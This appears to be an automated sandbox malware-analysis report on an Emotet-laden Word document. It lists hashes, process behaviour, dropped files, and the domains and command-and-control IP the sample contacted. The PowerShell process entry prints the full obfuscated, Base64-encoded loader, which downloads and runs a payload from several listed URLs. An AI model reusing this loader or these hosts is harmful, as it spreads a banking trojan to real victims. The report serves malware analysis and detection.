| File name: | VTA20 9月 30.doc |
| Full analysis: | https://app.any.run/tasks/99c1d11a-6362-4bd5-9185-262e53db3ae3 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | September 29, 2020, 23:20:28 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Sint., Author: Matho Marty, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Sep 29 23:12:00 2020, Last Saved Time/Date: Tue Sep 29 23:12:00 2020, Number of Pages: 1, Number of Words: 3731, Number of Characters: 21269, Security: 8 |
| MD5: | 232D2F616645896E3075A798807572C3 |
| SHA1: | F12C43A6D40170DE49C92B38F655A95376271C36 |
| SHA256: | 5D9881C8900498814CA049D263CA3339B113198BFE781CCB5E5FFBC2B23EB325 |
| SSDEEP: | 1536:TNVLAAAAcAAAAAUmPxwMddylbvuNm9F96qpOWAfjlyqF:TLAAAAcAAAAAUSxRYs40LlyqF |
MALICIOUS
Application was dropped or rewritten from another process
- Pccesw28f.exe (PID: 2428)
- imapi.exe (PID: 1764)
Changes the autorun value in the registry
- imapi.exe (PID: 1764)
Connects to CnC server
- imapi.exe (PID: 1764)
EMOTET was detected
- imapi.exe (PID: 1764)
SUSPICIOUS
Executed via WMI
- POwersheLL.exe (PID: 3080)
PowerShell script executed
- POwersheLL.exe (PID: 3080)
Starts itself from another location
- Pccesw28f.exe (PID: 2428)
Executable content was dropped or overwritten
- POwersheLL.exe (PID: 3080)
- Pccesw28f.exe (PID: 2428)
Creates files in the user directory
- POwersheLL.exe (PID: 3080)
Reads Internet Cache Settings
- imapi.exe (PID: 1764)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1132)
Reads settings of System Certificates
- POwersheLL.exe (PID: 3080)
Creates files in the user directory
- WINWORD.EXE (PID: 1132)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Sint. |
|---|---|
| Subject: | - |
| Author: | Mathéo Marty |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:09:29 22:12:00 |
| ModifyDate: | 2020:09:29 22:12:00 |
| Pages: | 1 |
| Words: | 3731 |
| Characters: | 21269 |
| Security: | Locked for annotations |
| Company: | - |
| Lines: | 177 |
| Paragraphs: | 49 |
| CharCountWithSpaces: | 24951 |
| AppVersion: | 15 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CodePage: | Unicode UTF-16, little endian |
| LocaleIndicator: | 1033 |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
40
Monitored processes
4
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1132 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\VTA20 9月 30.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 1764 | "C:\Users\admin\AppData\Local\RpcPing\imapi.exe" | C:\Users\admin\AppData\Local\RpcPing\imapi.exe | Pccesw28f.exe | ||||||||||||
User: admin Company: Flex Inc. Integrity Level: MEDIUM Description: Replacement for the Masked Edit Control v 2.0. Exit code: 0 Version: 2.8.0.3 Modules
| |||||||||||||||
| 2428 | "C:\Users\admin\Abcq0l4\Peikp4t\Pccesw28f.exe" | C:\Users\admin\Abcq0l4\Peikp4t\Pccesw28f.exe | POwersheLL.exe | ||||||||||||
User: admin Company: Flex Inc. Integrity Level: MEDIUM Description: Replacement for the Masked Edit Control v 2.0. Exit code: 0 Version: 2.8.0.3 Modules
| |||||||||||||||
| 3080 | POwersheLL -ENCOD JABKADYAZQBvADQAMAA1AD0AKAAoACcAUAB5ACcAKwAnAHgAMQBnACcAKQArACcAeQA1ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAGUAUgBwAFIAbwBmAGkATABlAFwAQQBiAEMAcQAwAEwANABcAFAARQBpAGsAcAA0AFQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAFUAYABSAGkAYABUAFkAUAByAG8AdABPAGMAYABPAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIAJwArACcALAAnACsAJwAgAHQAJwApACsAJwBsACcAKwAoACcAcwAxADEALAAnACsAJwAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABYADkAZgAzAG4AeQBlACAAPQAgACgAJwBQACcAKwAoACcAYwBjAGUAcwAnACsAJwB3ACcAKQArACgAJwAyADgAJwArACcAZgAnACkAKQA7ACQASABmAGoANABwAGUAcAA9ACgAJwBMAHQAJwArACgAJwB1ADIAJwArACcAZAAnACkAKwAnAGMAaQAnACkAOwAkAEcAOQA0ADgAawBzAGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYwAnACsAKAAnAEUAUgBBACcAKwAnAGIAYwBxACcAKQArACgAJwAwAGwANAAnACsAJwBjAEUAJwApACsAKAAnAFIAUABlAGkAawAnACsAJwBwACcAKwAnADQAJwApACsAKAAnAHQAYwBFACcAKwAnAFIAJwApACkALgAiAHIARQBwAGwAQQBgAGMARQAiACgAKAAnAGMAJwArACcARQBSACcAKQAsACcAXAAnACkAKQArACQAWAA5AGYAMwBuAHkAZQArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFcAawB6AGMAcwA5AGwAPQAoACcAUgBtACcAKwAoACcAMgBvAGQAJwArACcAMgBlACcAKQApADsAJABFAHAAdQBtAGwAdwA2AD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAdAAuAHcARQBiAGMATABJAGUATgBUADsAJABJAHoAcwB1AHkAbQBxAD0AKAAoACcAaAB0AHQAcAAnACsAJwBzACcAKQArACgAJwA6AC8ALwB0AHIAdQAnACsAJwBlAHQAZQAnACsAJwBlAHMAJwArACcAaABpACcAKQArACgAJwByAHQALgBjAG8AbQAvACcAKwAnAHcAcAAtAGEAZABtACcAKwAnAGkAJwApACsAKAAnAG4AJwArACcALwA1AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnAHMAOgAnACsAKAAnAC8ALwBuAGgAYQAnACsAJwBwACcAKQArACgAJwBoAG8AJwArACcAbQBhAHUALgBjAG8AJwApACsAJwBtACcAKwAnAC8AcwAnACsAKAAnAGEANwAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwBlAGMAJwApACsAJwBrAC0AJwArACgAJwBlAGwAJwArACcAZQAnACsAJwBjAHQAcgAnACkAKwAoACcAaQAnACsAJwBjAC4AYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBpAG4AYwAnACkAKwAoACcAbAB1ACcAKwAnAGQAZQAnACkAKwAoACcAcwAvAHYAJwArACcAVQAnACkAKwAnAEIAJwArACgAJwAvACoAJwArACcAaAB0AHQAcAA6ACcAKwAnAC8ALwB0ACcAKQArACgAJwBlACcAKwAnAGMAaAAnACkAKwAoACcAaQBuACcAKwAnAG8AdAAnACsAJwBpAGYAaQBjAGEAdAAnACsAJwBpACcAKQArACgAJwBvACcAKwAnAG4ALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQBpACcAKwAnAG4AJwApACsAJwBjACcAKwAoACcAbAB1AGQAZQBzACcAKwAnAC8AJwApACsAKAAnAGkAaQAxACcAKwAnAHAAZAAnACkAKwAoACcAMAAnACsAJwB4AC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8ALwAnACsAJwBlAGQAaQB0AHoAYQByACcAKwAnAG0AeQAuACcAKQArACcAYwAnACsAJwBvACcAKwAnAG0AJwArACgAJwAvACcAKwAnAGoAbwB1AHIAJwApACsAKAAnAG4AJwArACcAYQBsAC8AVwAnACkAKwAoACcAaQBuAEUAJwArACcAQQAvACcAKwAnACoAaAB0AHQAJwArACcAcABzACcAKwAnADoALwAvAG4AbwBpAHQAaAAnACsAJwBhACcAKQArACgAJwB0AGYAJwArACcAaABvAHUAcwAnACsAJwBlAC4AYwBvAG0AJwArACcALwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQAnACkAKwAnAG4AJwArACgAJwBjACcAKwAnAGwAdQBkAGUAcwAvACcAKQArACcAZwAnACsAKAAnADUASgBJADIAMQBTAC8AKgAnACsAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8AJwArACcALwB0AGUAYwBoAGkAdAAnACsAJwByAGUAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGkAbgBjAGwAdQAnACkAKwAnAGQAZQAnACsAKAAnAHMALwAnACsAJwBxAE8ALwAnACkAKQAuACIAcwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABHAHkAeQB5AHYANABqAD0AKAAoACcASQAnACsAJwB4AGkAJwApACsAJwBsACcAKwAoACcAbgAnACsAJwA3AF8AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABQADEAMABjAGcAdgBjACAAaQBuACAAJABJAHoAcwB1AHkAbQBxACkAewB0AHIAeQB7ACQARQBwAHUAbQBsAHcANgAuACIARABPAGAAdwBOAGwATwBhAGAARABgAEYAaQBMAGUAIgAoACQAUAAxADAAYwBnAHYAYwAsACAAJABHADkANAA4AGsAcwBkACkAOwAkAFgAagAzAHIAaQBjAHkAPQAoACcAVgAnACsAKAAnAF8AJwArACcAZQAnACsAJwBjAG4AYQByACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAEcAOQA0ADgAawBzAGQAKQAuACIAbABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMANAAwADkAOQApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABHADkANAA4AGsAcwBkACkAOwAkAEoAcwBwAG8AdQB5AGMAPQAoACgAJwBFACcAKwAnADMANgB6AF8AJwApACsAJwA5ACcAKwAnADUAJwApADsAYgByAGUAYQBrADsAJABUAHIANQAwAHkAMABnAD0AKAAoACcASAA1ACcAKwAnAHcAeQBnACcAKQArACcAZgBsACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgA4AGEAbgB1AHcAbgA9ACgAKAAnAFIAJwArACcAcQBjAGwAJwApACsAJwA0ACcAKwAnAHoANgAnACkA | C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
2 385
Read events
1 488
Write events
714
Delete events
183
Modification events
| (PID) Process: | (1132) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | gn" |
Value: 676E22006C040000010000000000000000000000 | |||
| (PID) Process: | (1132) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (1132) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (1132) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (1132) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (1132) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (1132) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (1132) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (1132) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (1132) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1132 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRAAE7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3080 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MGREOCOWWWGO428KI2TV.temp | — | |
MD5:— | SHA256:— | |||
| 3080 | POwersheLL.exe | C:\Users\admin\Abcq0l4\Peikp4t\Pccesw28f.exe | — | |
MD5:— | SHA256:— | |||
| 2428 | Pccesw28f.exe | C:\Users\admin\AppData\Local\Temp\~DF611F6333E6C54662.TMP | — | |
MD5:— | SHA256:— | |||
| 1132 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$A20 9月 30.doc | pgc | |
MD5:— | SHA256:— | |||
| 2428 | Pccesw28f.exe | C:\Users\admin\AppData\Local\RpcPing\imapi.exe | executable | |
MD5:— | SHA256:— | |||
| 1132 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3080 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1ab586.TMP | binary | |
MD5:— | SHA256:— | |||
| 1132 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 3080 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
8
DNS requests
6
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3080 | POwersheLL.exe | GET | 200 | 104.31.81.83:80 | http://techinotification.com/wp-includes/ii1pd0x/ | US | html | 4.19 Kb | suspicious |
3080 | POwersheLL.exe | GET | 200 | 104.27.167.204:80 | http://editzarmy.com/journal/WinEA/ | US | html | 4.19 Kb | suspicious |
1764 | imapi.exe | POST | 200 | 104.193.103.61:80 | http://104.193.103.61/VNkn6HQfZ/VAxT/5J0heoNMENp5m16N/Iyhpu6ziCZeuQ/Ctov3wpMuVoSb3YN/1zNsI4JIE/ | US | binary | 132 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3080 | POwersheLL.exe | 104.28.24.228:443 | trueteeshirt.com | Cloudflare Inc | US | shared |
3080 | POwersheLL.exe | 202.182.109.85:443 | nhaphomau.com | Managed Solutions Internet AS Internet Service Provider | AU | unknown |
— | — | 148.72.85.14:443 | heck-electric.com | — | US | unknown |
3080 | POwersheLL.exe | 148.72.85.14:443 | heck-electric.com | — | US | unknown |
3080 | POwersheLL.exe | 104.31.81.83:80 | techinotification.com | Cloudflare Inc | US | suspicious |
3080 | POwersheLL.exe | 104.27.167.204:80 | editzarmy.com | Cloudflare Inc | US | suspicious |
1764 | imapi.exe | 104.193.103.61:80 | — | Delcom, Inc. | US | malicious |
3080 | POwersheLL.exe | 45.77.39.85:443 | noithatfhouse.com | Choopa, LLC | SG | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
trueteeshirt.com |
| unknown |
nhaphomau.com |
| unknown |
heck-electric.com |
| suspicious |
techinotification.com |
| suspicious |
editzarmy.com |
| suspicious |
noithatfhouse.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1764 | imapi.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M10 |